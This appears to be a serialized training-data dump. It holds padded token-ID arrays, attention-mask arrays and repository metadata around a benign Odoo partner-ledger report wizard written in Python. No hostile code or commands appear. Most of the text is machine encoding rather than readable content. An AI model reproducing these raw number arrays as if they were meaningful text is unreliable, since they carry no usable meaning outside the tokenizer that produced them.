32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 33, 13460, 10026, 402, 314, 5867, 859, 1202, 737, 12693, 14210, 199, 8, 17932, 701, 314, 485, 2308, 859, 395, 315, 1865, 370, 7114, 14210, 900, 14, 199, 199, 16932, 1133, 492, 5370, 687, 10919, 13, 7522, 1233, 27, 675, 314, 658, 5508, 64, 859, 3140, 1, 199, 624, 199, 199, 646, 984, 199, 646, 485, 5508, 199, 199, 692, 984, 14, 3246, 14, 2460, 480, 2676, 2349, 272, 347, 664, 24283, 264, 848, 1523, 8, 1117, 63, 409, 5508, 29, 549, 304, 267, 372, 485, 5508, 423, 362, 885, 5508, 3430, 17, 61, 199, 2836, 26, 272, 862, 26, 267, 485, 5508, 14, 15639, 775, 272, 871, 4281, 26, 267, 347, 664, 24283, 264, 848, 1523, 8, 1117, 63, 409, 5508, 29, 549, 304, 288, 327, 961, 931, 367, 12139, 10460, 4839, 314, 1655, 6114, 288, 327, 664, 885, 5508, 342, 805, 12, 492, 314, 2615, 5867, 859, 14, 288, 492, 5867, 288, 372, 5867, 14, 362, 24283, 264, 848, 1523, 8, 1117, 63, 409, 5508, 9, 272, 587, 26, 267, 347, 664, 24283, 264, 848, 1523, 8, 1117, 63, 409, 5508, 29, 549, 304, 288, 702, 440, 886, 63, 409, 5508, 288, 754, 275, 485, 5508, 14, 7530, 63, 4159, 815, 1547, 5508, 14, 15639, 775, 9, 288, 340, 440, 754, 436, 984, 14, 3246, 508, 283, 13245, 356, 355, 327, 12992, 63, 4159, 815, 883, 372, 376, 2701, 1059, 355, 327, 1380, 314, 4260, 965, 376, 3866, 574, 14, 355, 327, 3758, 370, 9094, 13, 24, 315, 626, 1930, 2952, 355, 327, 9094, 13, 24, 365, 314, 849, 5960, 641, 32144, 436, 355, 327, 8152, 6548, 911, 12420, 314, 355, 327, 12693, 14, 355, 754, 275, 283, 6610, 13, 24, 7, 288, 372, 754, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
oasiswork/odoo
addons/account/wizard/account_report_partner_ledger.py
378
3538
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from openerp.osv import fields, osv class account_partner_ledger(osv.osv_memory): """ This wizard will provide the partner Ledger report by periods, between any two dates. """ _name = 'account.partner.ledger' _inherit = 'account.common.partner.report' _description = 'Account Partner Ledger' _columns = { 'initial_balance': fields.boolean('Include Initial Balances', help='If you selected to filter by date or period, this field allow you to add a row to display the amount of debit/credit/balance that precedes the filter you\'ve set.'), 'filter': fields.selection([('filter_no', 'No Filters'), ('filter_date', 'Date'), ('filter_period', 'Periods'), ('unreconciled', 'Unreconciled Entries')], "Filter by", required=True), 'page_split': fields.boolean('One Partner Per Page', help='Display Ledger Report with One partner per page'), 'amount_currency': fields.boolean("With Currency", help="It adds the currency column on report if the currency differs from the company currency."), 'journal_ids': fields.many2many('account.journal', 'account_partner_ledger_journal_rel', 'account_id', 'journal_id', 'Journals', required=True), } _defaults = { 'initial_balance': False, 'page_split': False, } def onchange_filter(self, cr, uid, ids, filter='filter_no', fiscalyear_id=False, context=None): res = super(account_partner_ledger, self).onchange_filter(cr, uid, ids, filter=filter, fiscalyear_id=fiscalyear_id, context=context) if filter in ['filter_no', 'unreconciled']: if filter == 'unreconciled': res['value'].update({'fiscalyear_id': False}) res['value'].update({'initial_balance': False, 'period_from': False, 'period_to': False, 'date_from': False ,'date_to': False}) return res def _print_report(self, cr, uid, ids, data, context=None): if context is None: context = {} data = self.pre_print_report(cr, uid, ids, data, context=context) data['form'].update(self.read(cr, uid, ids, ['initial_balance', 'filter', 'page_split', 'amount_currency'])[0]) if data['form'].get('page_split') is True: return self.pool['report'].get_action(cr, uid, [], 'account.report_partnerledgerother', data=data, context=context) return self.pool['report'].get_action(cr, uid, [], 'account.report_partnerledger', data=data, context=context) # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 421, 199, 533, 2933, 63, 3899, 63, 28771, 8, 4795, 14, 4795, 63, 4844, 304, 272, 408, 272, 961, 12262, 911, 5647, 314, 5854, 491, 379, 836, 3622, 701, 17382, 12, 3382, 1263, 2877, 10831, 14, 272, 408, 272, 485, 354, 275, 283, 2048, 14, 3899, 14, 28771, 7, 272, 485, 6486, 275, 283, 2048, 14, 2330, 14, 3899, 14, 3070, 7, 272, 485, 1802, 275, 283, 6009, 31351, 491, 379, 836, 7, 339, 485, 3406, 275, 469, 267, 283, 2747, 63, 7358, 356, 1504, 14, 4871, 360, 7826, 6026, 23928, 13236, 297, 2511, 1720, 534, 3917, 1265, 4895, 370, 2457, 701, 1434, 503, 6247, 12, 642, 901, 2040, 1265, 370, 1050, 282, 1962, 370, 2929, 314, 5982, 402, 24732, 15, 9365, 15, 7358, 626, 9222, 3424, 314, 2457, 1265, 3985, 432, 663, 8038, 267, 283, 1541, 356, 1504, 14, 5592, 8318, 1541, 63, 889, 297, 283, 1944, 21240, 659, 661, 1541, 63, 602, 297, 283, 2506, 659, 661, 1541, 63, 5191, 297, 283, 15518, 83, 659, 661, 324, 14808, 1672, 297, 283, 1358, 14808, 1672, 23450, 1996, 2665, 298, 4131, 701, 401, 1415, 29, 549, 395, 267, 283, 1606, 63, 1294, 356, 1504, 14, 4871, 360, 4395, 31351, 3492, 10331, 297, 1720, 534, 7687, 491, 379, 836, 11774, 543, 7309, 5854, 1126, 2034, 659, 267, 283, 4606, 63, 4968, 356, 1504, 14, 4871, 480, 3007, 7319, 3860, 401, 1720, 628, 7940, 9584, 314, 9952, 2763, 641, 3622, 340, 314, 9952, 22754, 687, 314, 7233, 9952, 7651, 267, 283, 7067, 63, 1580, 356, 1504, 14, 3479, 18, 3479, 360, 2048, 14, 7067, 297, 283, 2048, 63, 3899, 63, 28771, 63, 7067, 63, 3369, 297, 283, 2048, 63, 344, 297, 283, 7067, 63, 344, 297, 283, 5691, 31212, 297, 1415, 29, 549, 395, 272, 789, 339, 485, 4322, 275, 469, 2126, 283, 2747, 63, 7358, 356, 756, 12, 2126, 283, 1606, 63, 1294, 356, 756, 12, 272, 789, 339, 347, 20258, 63, 1541, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 2457, 534, 1541, 63, 889, 297, 18672, 3403, 63, 344, 29, 797, 12, 1067, 29, 403, 304, 267, 522, 275, 1613, 8, 2048, 63, 3899, 63, 28771, 12, 291, 680, 18128, 63, 1541, 8, 1556, 12, 1747, 12, 2762, 12, 2457, 29, 1541, 12, 18672, 3403, 63, 344, 29, 21260, 63, 344, 12, 1067, 29, 1100, 9, 267, 340, 2457, 315, 788, 1541, 63, 889, 297, 283, 324, 14808, 1672, 2565, 288, 340, 2457, 508, 283, 324, 14808, 1672, 356, 355, 522, 459, 585, 2278, 873, 3252, 21260, 63, 344, 356, 756, 1552, 288, 522, 459, 585, 2278, 873, 3252, 2747, 63, 7358, 356, 756, 12, 283, 5191, 63, 504, 356, 756, 12, 283, 5191, 63, 475, 356, 756, 12, 283, 602, 63, 504, 356, 756, 20606, 602, 63, 475, 356, 756, 1552, 267, 372, 522, 339, 347, 485, 1361, 63, 3070, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 666, 12, 1067, 29, 403, 304, 267, 340, 1067, 365, 488, 26, 288, 1067, 275, 1052, 267, 666, 275, 291, 14, 657, 63, 1361, 63, 3070, 8, 1556, 12, 1747, 12, 2762, 12, 666, 12, 1067, 29, 1100, 9, 267, 666, 459, 964, 2278, 873, 8, 277, 14, 739, 8, 1556, 12, 1747, 12, 2762, 12, 788, 2747, 63, 7358, 297, 283, 1541, 297, 283, 1606, 63, 1294, 297, 283, 4606, 63, 4968, 25945, 16, 566, 267, 340, 666, 459, 964, 2278, 362, 360, 1606, 63, 1294, 358, 365, 715, 26, 7205, 372, 291, 14, 2293, 459, 3070, 2278, 362, 63, 1287, 8, 1556, 12, 1747, 12, 990, 283, 2048, 14, 3070, 63, 3899, 28771, 1848, 297, 666, 29, 576, 12, 1067, 29, 1100, 9, 267, 372, 291, 14, 2293, 459, 3070, 2278, 362, 63, 1287, 8, 1556, 12, 1747, 12, 990, 283, 2048, 14, 3070, 63, 3899, 28771, 297, 666, 29, 576, 12, 1067, 29, 1100, 9, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 421, 199, 533, 2933, 63, 3899, 63, 28771, 8, 4795, 14, 4795, 63, 4844, 304, 272, 408, 272, 961, 12262, 911, 5647, 314, 5854, 491, 379, 836, 3622, 701, 17382, 12, 3382, 1263, 2877, 10831, 14, 272, 408, 272, 485, 354, 275, 283, 2048, 14, 3899, 14, 28771, 7, 272, 485, 6486, 275, 283, 2048, 14, 2330, 14, 3899, 14, 3070, 7, 272, 485, 1802, 275, 283, 6009, 31351, 491, 379, 836, 7, 339, 485, 3406, 275, 469, 267, 283, 2747, 63, 7358, 356, 1504, 14, 4871, 360, 7826, 6026, 23928, 13236, 297, 2511, 1720, 534, 3917, 1265, 4895, 370, 2457, 701, 1434, 503, 6247, 12, 642, 901, 2040, 1265, 370, 1050, 282, 1962, 370, 2929, 314, 5982, 402, 24732, 15, 9365, 15, 7358, 626, 9222, 3424, 314, 2457, 1265, 3985, 432, 663, 8038, 267, 283, 1541, 356, 1504, 14, 5592, 8318, 1541, 63, 889, 297, 283, 1944, 21240, 659, 661, 1541, 63, 602, 297, 283, 2506, 659, 661, 1541, 63, 5191, 297, 283, 15518, 83, 659, 661, 324, 14808, 1672, 297, 283, 1358, 14808, 1672, 23450, 1996, 2665, 298, 4131, 701, 401, 1415, 29, 549, 395, 267, 283, 1606, 63, 1294, 356, 1504, 14, 4871, 360, 4395, 31351, 3492, 10331, 297, 1720, 534, 7687, 491, 379, 836, 11774, 543, 7309, 5854, 1126, 2034, 659, 267, 283, 4606, 63, 4968, 356, 1504, 14, 4871, 480, 3007, 7319, 3860, 401, 1720, 628, 7940, 9584, 314, 9952, 2763, 641, 3622, 340, 314, 9952, 22754, 687, 314, 7233, 9952, 7651, 267, 283, 7067, 63, 1580, 356, 1504, 14, 3479, 18, 3479, 360, 2048, 14, 7067, 297, 283, 2048, 63, 3899, 63, 28771, 63, 7067, 63, 3369, 297, 283, 2048, 63, 344, 297, 283, 7067, 63, 344, 297, 283, 5691, 31212, 297, 1415, 29, 549, 395, 272, 789, 339, 485, 4322, 275, 469, 2126, 283, 2747, 63, 7358, 356, 756, 12, 2126, 283, 1606, 63, 1294, 356, 756, 12, 272, 789, 339, 347, 20258, 63, 1541, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 2457, 534, 1541, 63, 889, 297, 18672, 3403, 63, 344, 29, 797, 12, 1067, 29, 403, 304, 267, 522, 275, 1613, 8, 2048, 63, 3899, 63, 28771, 12, 291, 680, 18128, 63, 1541, 8, 1556, 12, 1747, 12, 2762, 12, 2457, 29, 1541, 12, 18672, 3403, 63, 344, 29, 21260, 63, 344, 12, 1067, 29, 1100, 9, 267, 340, 2457, 315, 788, 1541, 63, 889, 297, 283, 324, 14808, 1672, 2565, 288, 340, 2457, 508, 283, 324, 14808, 1672, 356, 355, 522, 459, 585, 2278, 873, 3252, 21260, 63, 344, 356, 756, 1552, 288, 522, 459, 585, 2278, 873, 3252, 2747, 63, 7358, 356, 756, 12, 283, 5191, 63, 504, 356, 756, 12, 283, 5191, 63, 475, 356, 756, 12, 283, 602, 63, 504, 356, 756, 20606, 602, 63, 475, 356, 756, 1552, 267, 372, 522, 339, 347, 485, 1361, 63, 3070, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 666, 12, 1067, 29, 403, 304, 267, 340, 1067, 365, 488, 26, 288, 1067, 275, 1052, 267, 666, 275, 291, 14, 657, 63, 1361, 63, 3070, 8, 1556, 12, 1747, 12, 2762, 12, 666, 12, 1067, 29, 1100, 9, 267, 666, 459, 964, 2278, 873, 8, 277, 14, 739, 8, 1556, 12, 1747, 12, 2762, 12, 788, 2747, 63, 7358, 297, 283, 1541, 297, 283, 1606, 63, 1294, 297, 283, 4606, 63, 4968, 25945, 16, 566, 267, 340, 666, 459, 964, 2278, 362, 360, 1606, 63, 1294, 358, 365, 715, 26, 7205, 372, 291, 14, 2293, 459, 3070, 2278, 362, 63, 1287, 8, 1556, 12, 1747, 12, 990, 283, 2048, 14, 3070, 63, 3899, 28771, 1848, 297, 666, 29, 576, 12, 1067, 29, 1100, 9, 267, 372, 291, 14, 2293, 459, 3070, 2278, 362, 63, 1287, 8, 1556, 12, 1747, 12, 990, 283, 2048, 14, 3070, 63, 3899, 28771, 297, 666, 29, 576, 12, 1067, 29, 1100, 9, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
timhuanggithub/MyPOX
pox/info/debug_deadlock.py
46
1606
